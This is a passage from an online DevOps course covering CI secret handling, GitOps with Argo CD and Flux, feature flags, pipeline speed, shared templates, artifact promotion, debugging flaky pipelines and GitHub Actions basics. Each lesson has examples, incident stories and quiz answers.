$ aws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIAEXA \
    MPLEKEY123456 --max-results 20
$ aws ec2 describe-instances --region ap-southeast-2 --query 'Reservations[].Instances[].InstanceI \
    d'
```

Deactivate the key, review everything it did, terminate rogue resources, and delete the log. Then fix the design: replace the static key with OIDC federation, scope the role to deploy only, stop exposing secrets to pull request pipelines, and add a secret scanner that blocks the merge.

Common mistakes

- Long-lived admin keys stored as CI variables
- Running untrusted pull requests with production secrets
- Persistent runners that keep state and credentials between jobs
- Using floating tags for third-party pipeline plugins
- Treating the pipeline configuration as less important than application code

Check yourself

What is the main advantage of OIDC workload identity in a pipeline?

Answer: Jobs receive short-lived credentials, so no long-lived secret needs to be stored

Why use ephemeral build runners?

Answer: Nothing persists between jobs, so one compromised job cannot affect later ones

A secret was printed in a public pipeline log. What is the first action?

Answer: Revoke or rotate the secret immediately

Why pin third-party pipeline plugins to a version or digest?

Answer: A floating tag can be moved to malicious code

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 7. Declarative delivery with Argo CD and Flux

16 minutes. Move deployment from push to pull, where a controller in the cluster continuously makes the cluster match the desired configuration you store and review.

In a push pipeline, your CI system holds credentials to the cluster and runs `kubectl apply`. That works, but those credentials are a target, nobody notices when someone changes the cluster by hand, and the real state of production lives in the memory of whoever ran the last command. **Declarative delivery** reverses the direction: a controller inside the cluster pulls the desired configuration from a reviewed source and keeps the cluster matching it.

What you will learn

- The pull model and its benefits
- How Argo CD and Flux work
- An Argo CD Application
- Sync, drift correction and rollback

Push versus pull

	Push (pipeline applies)	Pull (controller applies)
Cluster credentials	Held by the CI system	Stay inside the cluster
Manual changes	Remain until the next deploy, unnoticed	Detected and reverted or reported
Source of truth	The last pipeline run	The reviewed configuration
Audit trail	CI logs	Change history of the configuration
Rollback	Re-run an older pipeline	Revert the change; the controller reconciles

This is the same reconcile loop you met in the first Kubernetes lesson, applied to *deployment itself*.

The flow

1. CI builds and tests the application and publishes an image with a unique tag.
2. A change to the **configuration repository** updates the image tag for an environment. This is a normal reviewed change.
3. The controller notices the new desired state, compares it with the cluster and applies the difference.
4. It reports `Synced` and `Healthy`, or shows exactly what differs.

Keep **application source** and **deployment configuration** in separate repositories when you can. That stops every code commit from being a deploy request, and lets a platform team control environments without touching application code.

Argo CD and Flux

Both are widely used, CNCF-hosted controllers for this model.

	Argo CD	Flux
Style	Application-centric with a web UI and CLI	Set of controllers driven by Kubernetes objects
Strength	Visual view of sync and health; easy to explore	Composable and lightweight; strong automation of image updates
Config unit	`Application`	A source object, `Kustomization`, `HelmRelease`

MARGA by EknathaLabs marga.eknathalabs.com

Choose either; the concepts are identical. The example below uses Argo CD.

```
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: shop-api-prod
  namespace: argocd
spec:
  project: shop
  source:
    repoURL: https://source.example.com/platform/shop-deploy
    targetRevision: main
    path: overlays/prod
  destination:
    server: https://kubernetes.default.svc
    namespace: shop
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
    syncOptions:
      - CreateNamespace=true
```

Reading it: the controller watches the `overlays/prod` path of the configuration repository and keeps the `shop` namespace identical to it. `prune: true` deletes objects removed from configuration. `selfHeal: true` reverts manual changes made in the cluster.

> **Tip:** *Use automated sync for development and staging. For production, many teams keep* `selfHeal` *on but require a manual sync, or an approval, so a person decides when the change goes live.*

Everyday operations

```
$ argocd app list
NAME            CLUSTER                         NAMESPACE  STATUS     HEALTH
shop-api-prod   https://kubernetes.default.svc  shop       Synced     Healthy
$ argocd app diff shop-api-prod
$ argocd app sync shop-api-prod
$ argocd app history shop-api-prod
$ argocd app rollback shop-api-prod 12
```

Rolling back by reverting the configuration change is better than the `rollback` command, because it keeps the stored configuration and the cluster in agreement. Where you used `rollback` in an emergency, record the same change in configuration afterward, or the controller will push the bad version again.

Secrets

You cannot store plain Secret manifests in a shared configuration repository. Use one of these approaches:

- **External secret management**: an operator reads values from your cloud secret manager and creates the Kubernetes Secret
- **Sealed or encrypted secrets**: the stored value is encrypted and only the cluster can decrypt it

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

MARGA by EknathaLabs
marga.eknathalabs.com

Diagram: How Declarative delivery with Argo CD and Flux fits together

Part	What it does	What goes wrong
Push versus pull	This is the same reconcile loop you met in the first Kubernetes lesson, applied to deployment itself.	Storing real secrets in the configuration repository.
The flow	CI builds and tests the application and publishes an image with a unique tag.	Letting application commits trigger production changes directly.
Argo CD and Flux	Both are widely used, CNCF-hosted controllers for this model.	Turning off selfHeal permanently and returning to drift.
Everyday operations	Rolling back by reverting the configuration change is better than the rollback command, because it keeps the stored configuration and the cluster in agreement.	Making emergency changes by hand and never recording them.
Secrets	You cannot store plain Secret manifests in a shared configuration repository.	Secrets You cannot store plain Secret manifests in a shared configuration repository.

Flow: Push versus pull to The flow / The flow to Argo CD and Flux / Argo CD and Flux to Everyday operations / Everyday operations to Secrets

Incident: the controller keeps undoing an urgent fix

> **Incident:** *During an outage you scale the deployment to 10 replicas with* `kubectl scale`*. A minute later it is back at 3, and the site is still struggling.*

```
$ kubectl scale deployment/shop-api -n shop --replicas=10
$ kubectl get deploy shop-api -n shop
NAME       READY   UP-TO-DATE   AVAILABLE
shop-api   3/3     3            3
```

`selfHeal` is working as designed: the configuration says 3, so the controller reverted your manual change. In an emergency you have two honest options. Make the change the intended way, by editing the replica count in the configuration and letting the controller apply it, which takes a minute but leaves a reviewable record. Or use the documented break-glass step of pausing automated sync for that application, scaling manually, and re-enabling sync when the incident is over. Either way, finish by making the configuration match what you decided, and review whether the replica count belongs under an autoscaler instead of a fixed number.

Common mistakes

- Storing real secrets in the configuration repository
- Letting application commits trigger production changes directly
- Turning off `selfHeal` permanently and returning to drift
- Making emergency changes by hand and never recording them

Check yourself

What is the main security advantage of pull-based delivery?

Answer: Cluster credentials stay inside the cluster instead of being held by the CI system

What does selfHeal: true do in an Argo CD Application?

Answer: Reverts manual changes in the cluster back to the stored configuration

You scale a Deployment by hand and it returns to its old size. Why?

Answer: The controller reconciled the cluster back to the stored configuration

Why keep application code and deployment configuration separate?

Answer: A code commit is not automatically a deploy request, and environments can be controlled separately

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 8. Release management, environments and feature flags

14 minutes. Separate deploying from releasing with feature flags, design environments and approvals that fit your risk, and manage flags, versions and rollbacks without chaos.

Early pipelines treat a release as one event: the code is deployed and users see it. Mature teams separate the two. They deploy code often and in small pieces, and they release a feature to users later, gradually, and with a switch that can turn it off in seconds. This reduces fear, shortens lead time and makes rollbacks boring.

What you will learn

- The difference between deploying and releasing
- Types of feature flags and their lifecycle
- Environments, approvals and promotion
- Progressive delivery: percentages, rings and kill switches
- Flag debt and how to avoid it

Deploy is not release

Deploying puts a new version on servers. Releasing makes a behaviour visible to users. With a flag, you can deploy code with the feature switched off, test it in production with staff, enable it for 1 percent of users, then 10 percent, then all. If something is wrong, you turn the flag off; no redeploy and no rollback of unrelated changes.

```
if flags.enabled("new-checkout", user=user.id, default=False):
    return new_checkout(cart)
return old_checkout(cart)
```

The `default=False` matters: if the flag service is down, the code must fall back to a safe behaviour, not fail.

Kinds of flags

Kind	Purpose	Lifetime
Release flag	Hide unfinished or risky work	Days to weeks, then delete
Experiment flag	Compare variants	Until the result is known
Operational flag (kill switch)	Turn off an expensive or risky path in an incident	Long
Permission flag	Enable for a plan or customer	Long, part of the product

Each flag needs an owner, a purpose and a removal date. Old release flags leave dead code and untested combinations, which is called flag debt. Review flags regularly and delete them.

Environments and promotion

Keep environments few and similar: development, staging (production-like), production. Promote the same built artifact through them, and change only configuration. Do not rebuild for each environment. Approvals should match risk: automatic for low-risk changes with good tests; a human check for changes to payments or data schemas. Record who approved what, and when.

Progressive delivery

- **Canary:** send a small share of traffic to the new version and watch error rate and latency.
- **Rings:** release to internal users, then a small group, then everyone.
- **Automatic rollback:** if a metric crosses a threshold during rollout, the system stops or reverts without a human.

MARGA by EknathaLabs
eknathalabs.com

- **Percentage rollouts by stable hash:** hash the user id, so a user keeps the same experience.

Versions and rollbacks

Use semantic versions or build ids that map exactly to a commit. Keep the previous version ready, and make database changes backwards compatible (add a column first, switch code, remove the old column later) so a rollback of code is always possible.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How Release management, environments and feature flags fits together

Part	What it does	What goes wrong
Deploy is not release	Deploying puts a new version on servers.	No safe default when the flag service fails.
Kinds of flags	Each flag needs an owner, a purpose and a removal date.	Flags without owners or removal dates.
Environments and promotion	Keep environments few and similar: development, staging (production-like), production.	Rebuilding the artifact for each environment.
Progressive delivery	Canary: send a small share of traffic to the new version and watch error rate and latency.	Database changes that block rollback.
Versions and rollbacks	Use semantic versions or build ids that map exactly to a commit.	Check the Common mistakes list below this diagram for what usually goes wrong here.

Flow: Deploy is not release to Kinds of flags / Kinds of flags to Environments and promotion / Environments and promotion to Progressive delivery / Progressive delivery to Versions and rollbacks

Incident: the feature that could not be switched off

> **Incident:** *A new pricing calculation shows wrong totals to 30 percent of customers after a release, and turning it off takes two hours.*

```
$ flagctl list --stale
new-pricing       owner: pay-team   created: 2026-02-10   100% on
legacy-discount   owner: (none)     created: 2024-06-01   100% on
```

The change shipped without a flag, so the only remedy was a rollback that also removed other fixes. Afterwards the team required a flag for risky behaviour changes, added a kill switch for pricing, ran a canary with an automatic abort on error rate, and set a monthly flag clean-up.

Common mistakes

- No safe default when the flag service fails
- Flags without owners or removal dates
- Rebuilding the artifact for each environment
- Database changes that block rollback

Check yourself

What is the main benefit of separating deploy from release?

Answer: Features can be switched on gradually and off quickly without a redeploy

What should code do if the flag service is unreachable?

Answer: Use a safe default

What is flag debt?

Answer: Old flags that remain in code, leaving dead branches and untested combinations

How do you keep database changes compatible with a rollback?

Answer: Expand, migrate and contract in separate releases

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 9. Fast pipelines: caching, parallelism and monorepos

13 minutes. Cut pipeline time by running independent jobs in parallel, caching dependencies and build output, running only what changed in a monorepo, and measuring where the minutes go.

A pipeline that takes forty minutes teaches people to batch changes, skip tests and stop trusting the result. Fast feedback is a quality feature. The good news is that most slow pipelines waste time in a few predictable places, and you can fix them one by one.

What you will learn

- Measuring a pipeline before changing it
- Parallel jobs and test sharding
- Dependency and build caches that are correct
- Running only what changed in a monorepo
- Runner sizing and keeping images small

Measure first

Write down the duration of each stage over the last twenty runs. Look at the median and at the slowest run, not the best. The usual suspects: installing dependencies, building images from scratch, a long single test job, waiting for a shared runner, and slow end-to-end tests. Fix the biggest first.

Parallelism

Jobs that do not depend on each other should run at the same time: lint, unit tests, type checks, and security scans. Split a long test job into shards (for example four jobs, each running a quarter of the tests, balanced by recorded duration):

```
test:
  parallel: 4
  script:
    - ./run-tests.sh --shard $SHARD_INDEX/$SHARD_TOTAL
```

Keep the number of parallel jobs below your runner capacity, or jobs wait in a queue and the gain disappears.

Caching correctly

A cache must be fast and must never serve stale or poisoned data. Rules:

- Key dependency caches on a hash of the lockfile, so a change in dependencies creates a new cache.
- Cache the package manager's download directory, not the installed project.
- Use read-only caches for pull request builds when you worry about cache poisoning from untrusted code.
- For container builds, use a registry cache (see the lesson on BuildKit).
- Build tools such as Bazel, Gradle and Nx have remote caches that reuse build and test results by input hash.

Monorepos: only run what changed

In a repository with many services, build and test only what a change can affect:

```
rules:
  - changes: ["services/payments/**/*", "libs/common/**/*"]
```

Dependency-aware tools (Nx, Bazel, Turborepo) compute the affected targets from the dependency graph. Be careful: if a shared library changes, all dependents must run. Always run the full pipeline on the

MARGA by EknathaLabs
marga.eknathalabs.com

main branch on a schedule to catch gaps in the rules.

Other savings

- Use a small, prebuilt image with your tools instead of installing them in each run.
- Run slow end-to-end tests after merge or on a schedule, and keep a small smoke test on each change.
- Cancel old runs when a new commit arrives for the same branch.
- Use larger runners for heavy builds; one four-core job may be cheaper than a sixteen-minute two-core job.
- Fail fast: run the cheapest checks first.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How Fast pipelines: caching, parallelism and monorepos fits together

Part	What it does	What goes wrong
Measure first	Write down the duration of each stage over the last twenty runs.	Check the Common mistakes list below this diagram for what usually goes wrong here.
Parallelism	Jobs that do not depend on each other should run at the same time: lint, unit tests, type checks, and security scans.	More parallel jobs than runners.
Caching correctly	A cache must be fast and must never serve stale or poisoned data.	Caches that can be poisoned or stale.
Monorepos: only run what changed	In a repository with many services, build and test only what a change can affect.	Skipping the full run for the monorepo.
Other savings	Use a small, prebuilt image with your tools instead of installing them in each run.	- Fail fast: run the cheapest checks first.

Flow: Measure first to Parallelism / Parallelism to Caching correctly / Caching correctly to Monorepos: only run what changed / Monorepos: only run what changed to Other savings

Incident: the thirty-eight minute pipeline

> **Incident:** *A team's merge request pipeline grows to 38 minutes, and developers start merging without waiting for it.*

```
stage        median   p95
install      9m       14m
unit tests   16m      19m
e2e          10m      22m
build image  3m       5m
```

Dependencies were reinstalled each run, the unit tests ran in one job and the end-to-end tests ran on every change. The team cached by lockfile hash (install fell to one minute), sharded unit tests into four jobs (to five minutes), moved most end-to-end tests to run after merge, kept three smoke tests on each change, and canceled outdated runs. The median fell to eleven minutes, and people started to wait for it again.

Common mistakes

- Optimising without measuring
- Caches that can be poisoned or stale
- More parallel jobs than runners
- Skipping the full run for the monorepo

MARGA by EknathaLabs marga.eknathalabs.com

Check yourself

What should you do before optimising a slow pipeline?

Answer: Measure the duration of each stage across many runs

What is a good dependency cache key?

Answer: A hash of the lockfile

Why run a scheduled full pipeline on a monorepo with path-based rules?

Answer: To catch changes that the path rules failed to connect

What is test sharding?

Answer: Splitting tests across parallel jobs

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 10. Reusable pipelines and templates

11 minutes. Stop copying pipeline files between repositories: share steps as templates, version them, and keep teams consistent without blocking them.

Forty services each have their own copy of a build pipeline. When the security team needs a new scan step, forty files have to change, and thirty-one of them differ slightly. Reusable pipelines solve this the same way libraries solve repeated code: write once, version, and let teams call it.

What you will learn

- Why copy and paste pipelines drift and hurt
- Shared templates and reusable workflows with inputs
- Versioning shared pipeline code so changes are safe
- Guard rails: what to enforce centrally and what to leave to teams

The cost of copied pipelines

Copying a pipeline looks free on day one. Over time the copies diverge: one service pins a tool version, another does not, a third skips the scan "temporarily" and never turns it back on. When a fix is needed, you must find every copy, and each one needs its own review. Inconsistent pipelines also make audits hard, because you cannot say "all services run a vulnerability scan" with confidence.

Templates with inputs

Most CI systems let one pipeline include another and pass inputs. The details differ, but the shape is the same: a central definition, and a short file in each service that says what to build.

```
# in the service repository
include: shared/pipelines/build-and-test.yml@v3
variables:
  LANGUAGE: python
  PYTHON_VERSION: "3.12"
  DEPLOY_TARGET: staging
```

The shared template contains the steps: checkout, cache, build, test, scan, publish. Inputs let a team choose the language or the target, but they cannot remove the scan step. Keep inputs few and typed. A template with forty options is a configuration language nobody can read.

Version the shared code

A change to a shared pipeline affects every user at once, so treat it like a library release. Tag versions (`v3`, `v3.2.1`), publish release notes, and let teams pin a major version. Test the template itself on a sample project before you tag it. Roll out breaking changes as a new major version, and give teams time and a migration note to move.

A safe pattern is *canary then fleet*: move two or three friendly services to the new version, watch their runs for a week, and then update the default.

Guard rails, not handcuffs

Decide what must be the same everywhere: the security scan, artifact signing, the rule that production deploys need a reviewed commit on the main branch, and the audit log. Make those parts of the template, or enforce them with a required check on every repository.

Leave the rest to teams: extra test stages, extra environments, and tools specific to their language. If teams must fight the template to do their job, they will fork it, and you are back to copies. Measure adoption, for example the share of pipelines on the current version, and treat it as a service you run for the other teams.

MARGA by EknathaLabs marga.eknathalabs.com

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How Reusable pipelines and templates fits together

Part	What it does	What goes wrong
The cost of copied pipelines	Copying a pipeline looks free on day one.	Making every team copy the file because the shared one is hard to change.
Templates with inputs	Most CI systems let one pipeline include another and pass inputs.	Giving the template dozens of options.
Version the shared code	A change to a shared pipeline affects every user at once, so treat it like a library release.	Referring to a template by a moving branch name.
Guard rails, not handcuffs	Decide what must be the same everywhere: the security scan, artifact signing, the rule that production deploys need a reviewed commit on the main branch, and the audit...	Enforcing nothing centrally, so the scan quietly disappears from some services.

Flow: The cost of copied pipelines to Templates with inputs / Templates with inputs to Version the shared code / Version the shared code to Guard rails, not handcuffs

Incident: One edit, forty broken builds

> **Incident:** *A platform engineer renamed a variable in the shared template. Within an hour, forty services could not deploy.*

```
$ ci run --pipeline checkout --branch main
error: variable DEPLOY_ENV is not defined (template build-and-test.yml@main)
$ grep -c "@main" services/*/ci.yml | grep -v ":0" | wc -l
40
```

Every service referred to the template by the moving name `main`, so the change reached all of them immediately. The fix was to revert the rename and to require version tags in `include` lines, with a lint check that rejects `@main`. Breaking changes now go out as a new major version, and a weekly report shows how many pipelines still use each version.

Common mistakes

- Referring to a template by a moving branch name
- Giving the template dozens of options
- Making every team copy the file because the shared one is hard to change
- Enforcing nothing centrally, so the scan quietly disappears from some services

Check yourself

Why pin a shared pipeline to a version?

Answer: A change in the template then reaches a service only when the team moves to the new version

Which parts are good candidates for central enforcement?

Answer: Security scans, artifact signing and production approval rules

What is a sign that a template has too many options?

Answer: Teams cannot tell what a build will do without reading the template

What is a safe way to roll out a breaking template change?

Answer: Publish a new major version and move a few services first

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 11. Environments, promotion and approvals

12 minutes. Move one build through test, staging and production with the right checks, approvals and records for each step.

The release checklist says "deploy to staging, test, deploy to production", but each deploy rebuilds the code and picks up slightly different dependencies. What passed in staging is not exactly what reaches production. Promotion fixes this: build once, then move the same artifact through environments, with a gate at each step.

What you will learn

- What an environment is and how many you need
- Promote the same artifact instead of rebuilding
- Automatic gates and human approvals, and when to use each
- Records: who approved what, and what is running where

Environments and their purpose

An environment is a place where the application runs with its own configuration and data. Common ones are **dev** (fast, breakable), **test** or **staging** (production-like, used for final checks) and **production**. Add more only when a stage has a real purpose, such as performance testing or a customer demo. Each extra environment costs money and attention, and an environment that drifts from production gives false confidence.

Keep differences between environments in configuration (addresses, sizes, secrets), not in code, and keep configuration in files that are reviewed like code.

Build once, promote many times

The pipeline builds an artifact (a container image or package) one time, gives it a version, and records its digest. Every later stage deploys exactly that artifact. Only the configuration changes.

```
build  ->  image shop@sha256:9f2c...  ->  dev  ->  staging  ->  production
                                          ^ tests    ^ checks     ^ approval
```

If a bug is found in staging, you fix it in code, build a new artifact, and start the journey again. You never patch an artifact on its way to production. Promotion by digest also gives you rollback for free: the previous digest is known and was already tested.

Gates: automatic and human

A **gate** is a condition for moving to the next environment.

- Automatic gates: tests pass, scan has no critical findings, smoke test on the new environment, error rate normal for ten minutes.
- Human approvals: needed where a person must judge risk, for example a database migration or a change in a regulated system.

Use automation wherever the answer can be computed, because people approving everything become a rubber stamp. When a human approves, show the evidence: what changed, test results, the risk, and the rollback plan. The approver should not be the author. Also define an emergency path with fewer steps but the same record, so that urgent fixes do not tempt people to bypass the pipeline.

MARGA by EknathaLabs
marga.eknathalabs.com

Know what runs where

At any moment you should be able to answer: which version runs in production, who approved it, and which commit it came from. Record deploy events (environment, version, time, approver) in one place, and show the current versions on a dashboard. Add a deploy marker to monitoring graphs, so that a change in error rate can be tied to a release within seconds. For audits, keep the approval and test evidence with the release for the period the rules require.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How Environments, promotion and approvals fits together

Part	What it does	What goes wrong
Environments and their purpose	An environment is a place where the application runs with its own configuration and data.	Letting staging drift away from production.
Build once, promote many times	The pipeline builds an artifact (a container image or package) one time, gives it a version, and records its digest.	Rebuilding the artifact for each environment.
Gates: automatic and human	A gate is a condition for moving to the next environment.	Approvals without evidence, so people click through.
Know what runs where	At any moment you should be able to answer: which version runs in production, who approved it, and which commit it came from.	No emergency path, which leads to bypassing the pipeline.

Flow: Environments and their purpose to Build once, promote many times / Build once, promote many times to Gates: automatic and human / Gates: automatic and human to Know what runs where

Incident: Tested in staging, broken in production

> **Incident:** *A release passed every staging check and failed on its first request in production with a missing library.*

```
$ docker inspect --format "{{.Image}}" staging-shop prod-shop
sha256:41aa...
sha256:b072...
```

Staging and production ran different images. The pipeline had one job per environment and each job ran its own `docker build`. A transitive dependency was released between the two builds. The team changed the pipeline to build once, push the image with its digest, and deploy that digest to each environment, and a check now fails the production deploy if the digest was not first deployed and tested in staging.

Common mistakes

- Rebuilding the artifact for each environment
- Letting staging drift away from production
- Approvals without evidence, so people click through
- No emergency path, which leads to bypassing the pipeline

Check yourself

What does promotion mean in a delivery pipeline?

Answer: Moving the same built artifact through environments

Where should differences between environments live?

Answer: In configuration, not in code

When is a human approval most useful?

Answer: When a person must judge risk that cannot be computed, such as a risky migration

MARGA by EknathaLabs marga.eknathalabs.com

How does promotion by digest help rollback?

Answer: The previous digest is known and was already tested

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 12. Debugging failing and flaky pipelines

14 minutes. Reproduce pipeline failures locally, tell real failures from flaky ones, find environment drift, cache and secret problems, and stop one bad run from blocking a team.

Pipelines fail for reasons that have nothing to do with your change: a cache that went stale, a dependency that moved, a runner that ran out of disk, or a test that depends on timing. If you cannot tell a real failure from noise, people start re-running until green, and real problems pass through.

What you will learn

- Reading a failing job from the first error, not the last line
- Reproducing a failure outside the pipeline
- Flaky tests, cache problems and drift between local and CI
- Debugging secrets and permissions without printing them

Read the first error

The last lines of a job often say only "exit code 1". The cause is higher up. Search the log for the first line containing `error`, `failed` or a stack trace, and check what ran just before it. Note the exact command, the working directory and the versions of tools printed at the start of the job.

Reproduce it locally

```
docker run --rm -it -v "$PWD":/work -w /work node:20.11 bash   # same image as the job
npm ci && npm test                                             # same commands
env | sort | grep -v -i -E 'token|secret|key|pass'             # compare environment, safely
```

Use the same image tag, the same commands and a clean checkout. If it passes locally and fails in CI, compare tool versions, environment variables, file permissions, time zone, available memory and network access.

Flaky or real?

Sign	Likely cause	Fix
Passes on retry, fails randomly	Timing, order or shared state	Remove sleeps, isolate data, fix the test
Fails only on one runner	Runner disk, memory or stale cache	Clean the runner, pin its image
Fails after a dependency release	Unpinned versions	Use a lockfile and pinned versions
Fails near midnight or month end	Date logic	Inject the clock in tests

Track flaky tests in a list with a count. A retry hides the symptom and keeps the cost, so use it only with a limit and a ticket.

Caches and secrets

A cache keyed only on the branch name can serve old build output. Key it on a hash of the lockfile. For secrets, check that the variable exists and is not empty without printing it:

```
[ -n "${API_TOKEN:-}" ] && echo "API_TOKEN is set (length ${#API_TOKEN})" || echo "API_TOKEN missi \
    ng"
```

Masking hides values in logs but does not stop a script from encoding and printing them, so never enable shell tracing in jobs that handle secrets.

MARGA by EknathaLabs marga.eknathalabs.com

Diagram: Triage of a red pipeline

Part	What it does	What goes wrong
First error in the log	Find the earliest error, the exact command and tool versions.	The last line usually only repeats the exit code.
Reproduce locally	Run the same image and commands on a clean checkout.	A different local setup passes and proves nothing.
Real or flaky	Retry once and compare with recent runs on the same commit.	Endless retries hide a genuine defect.
Environment drift	Compare versions, variables, caches and runner state.	Unpinned tools change without any commit.
Fix and prevent	Add a pin, a test or a cache key so it cannot recur.	A one-time rerun leaves the cause in place.

Flow: First error in the log to Reproduce locally / Reproduce locally to Real or flaky / Reproduce locally to Environment drift / Real or flaky to Fix and prevent / Environment drift to Fix and prevent

Incident: green yesterday, red today, same commit

> **Incident:** *The main branch pipeline fails at the build step with a compile error. No one changed the code since yesterday.*

```
$ diff <(grep -A2 'lodash' yesterday.log) <(grep -A2 'lodash' today.log)
< lodash 4.17.21
> lodash 4.18.0
```

The project installed dependencies with a range and no lockfile, so a new release was picked up silently and broke the build. The team committed a lockfile, switched to `npm ci`, pinned the build image, and added a scheduled build so drift shows up before a release day.

Common mistakes

- Re-running until green
- Reading only the last 20 lines
- Caches keyed on a branch name
- Printing environment variables that contain secrets

Check yourself

Where should you look first in a long failing job log?

Answer: The first error, and the command that ran just before it

A pipeline broke without any code change. What is the most likely cause?

Answer: A dependency, image or tool version changed because it was not pinned

What is the risk of automatic retries on every failing test?

Answer: They hide flaky tests and real defects while costing time

How do you check that a secret variable is set without exposing it?

Answer: Test that it is non-empty and print only its length or a yes/no

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 13. How CI platforms work and how the three differ

12 minutes. Compare the shared model behind every CI system and what makes GitHub Actions, GitLab CI and Tekton different in practice.

Before learning any one tool, it helps to see the model they all share. A pipeline is a set of jobs that run on workers when something happens, and each platform is a different answer to who defines the pipeline, who owns the workers and how much is built in.

What you will learn

- The shared model: event, pipeline, job, step, runner, artifact
- How GitHub Actions, GitLab CI and Tekton each express that model
- What differs in hosting, extensibility and security defaults
- A simple rule for choosing between them

The shared model

An **event** (a push, a pull request, a tag, a schedule or a manual click) starts a **pipeline**. The pipeline is made of **jobs**, and each job is a list of **steps** that run on a **runner**, which is just a machine or container that executes work. Jobs can pass **artifacts** to each other and report a status back to the change that triggered them. Learn these words once and every platform becomes a dialect of the same language.

Three dialects

```
# GitHub Actions: .github/workflows/ci.yml
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: make test

# GitLab CI: .gitlab-ci.yml
test:
  image: alpine:3.20
  script:
    - make test

# Tekton: a Task is a Kubernetes resource
apiVersion: tekton.dev/v1
kind: Task
metadata:
  name: test
spec:
  steps:
    - name: test
      image: alpine:3.20
      script: make test
```

Actions and GitLab CI read a YAML file from the repository and run it on runners the platform schedules. Tekton has no server of its own: a Task or Pipeline is a custom resource in Kubernetes, a **TaskRun** or **PipelineRun** creates pods, and each step is a container in one pod.

What really differs

- **Where it lives:** Actions is built into the hosted code service, GitLab CI into the GitLab product, Tekton into any cluster.
- **Who owns workers:** hosted runners are zero effort but limited and billed by minute. Self-hosted runners give control and cost you patching and isolation work.

MARGA by EknathaLabs marga.eknathalabs.com

- **Extensibility:** Actions has a large marketplace of reusable actions. GitLab leans on includes and templates. Tekton gives you building blocks and expects you to assemble your own platform.
- **Security defaults:** a marketplace action is third-party code in your pipeline, a shared runner is shared infrastructure and a Tekton service account is real cluster access. Each model has a different risk to manage.

A simple choice rule

Use the platform that sits next to your code and reviews, unless you have a clear reason not to. Choose Tekton when you must run CI inside your own clusters, need Kubernetes-native scheduling and policies, or are building an internal delivery platform. Avoid mixing three tools without a reason, because every extra system is another thing to patch, secure and teach.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How How CI platforms work and how the three differ fits together

Part	What it does	What goes wrong
The shared model	An event (a push, a pull request, a tag, a schedule or a manual click) starts a pipeline.	Putting all build logic inside platform-specific YAML.
Three dialects	Actions and GitLab CI read a YAML file from the repository and run it on runners the platform schedules.	Ignoring who patches and isolates self-hosted runners.
What really differs	Where it lives: Actions is built into the hosted code service, GitLab CI into the GitLab product, Tekton into any cluster.	Choosing a tool by popularity instead of where code and workers live.
A simple choice rule	Use the platform that sits next to your code and reviews, unless you have a clear reason not to.	Running three CI systems with no owner for any.

Flow: The shared model to Three dialects / Three dialects to What really differs / What really differs to A simple choice rule

Incident: The pipeline that did not translate

Incident: *A migration stalled because the new platform handled caching and approvals differently.*

```
$ ci-migrate check old-pipeline.yml
warning: cache key syntax not supported
warning: manual approval has no direct equivalent
2 of 11 jobs need redesign
```

The team had assumed a pipeline was just a list of shell commands. The commands moved easily, but caching, approvals, secrets and runner labels were platform features with different rules. They rewrote those parts on purpose, kept the build logic in scripts that any platform can call, and treated the pipeline file as a thin wrapper.

Common mistakes

- Putting all build logic inside platform-specific YAML
- Choosing a tool by popularity instead of where code and workers live
- Ignoring who patches and isolates self-hosted runners
- Running three CI systems with no owner for any

Check yourself

What is a runner?

Answer: The machine or container that executes a job

MARGA by EknathaLabs
marga.eknathalabs.com

Which platform expresses pipelines as Kubernetes resources?

Answer: Tekton

What keeps migrations easier between platforms?

Answer: Keeping build logic in scripts the pipeline calls

When is Tekton a strong choice?

Answer: When CI must run inside your own clusters or form an internal platform

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 14. GitHub Actions: workflows, jobs and steps

14 minutes. Write a GitHub Actions workflow with jobs, steps, outputs and the default token, and read a run to find what failed.

GitHub Actions runs automation from YAML files stored in your repository. The whole system comes down to three nesting levels, workflow, job and step, plus a small set of rules about how data and permissions pass between them.

What you will learn

- The workflow, job and step structure
- How jobs run in parallel and depend on each other with needs
- Passing outputs and files between jobs
- Setting least-privilege GITHUB_TOKEN permissions

Structure

```
name: ci
on:
  push:
    branches: [main]
  pull_request:
permissions:
  contents: read
jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.ver.outputs.version }}
    steps:
      - uses: actions/checkout@v4
      - id: ver
        run: echo "version=1.4.${{ github.run_number }}" >> "$GITHUB_OUTPUT"
      - run: make build
  test:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: echo "testing ${{ needs.build.outputs.version }}"
      - run: make test
```

A **workflow** is one YAML file in `.github/workflows/`. Each **job** runs on its own fresh runner, so files from one job do not exist in another unless you upload and download an artifact. Jobs run in parallel unless `needs` creates an order. A **step** is either a shell command (`run`) or a reusable action (`uses`).

Passing data

Steps write `name=value` lines to the file named by `$GITHUB_OUTPUT`, and a job exposes them through `outputs`. Later jobs read them as `needs.<job>.outputs.<name>`. Keep outputs small. For files, use `actions/upload-artifact` and `actions/download-artifact`.

Reading a run

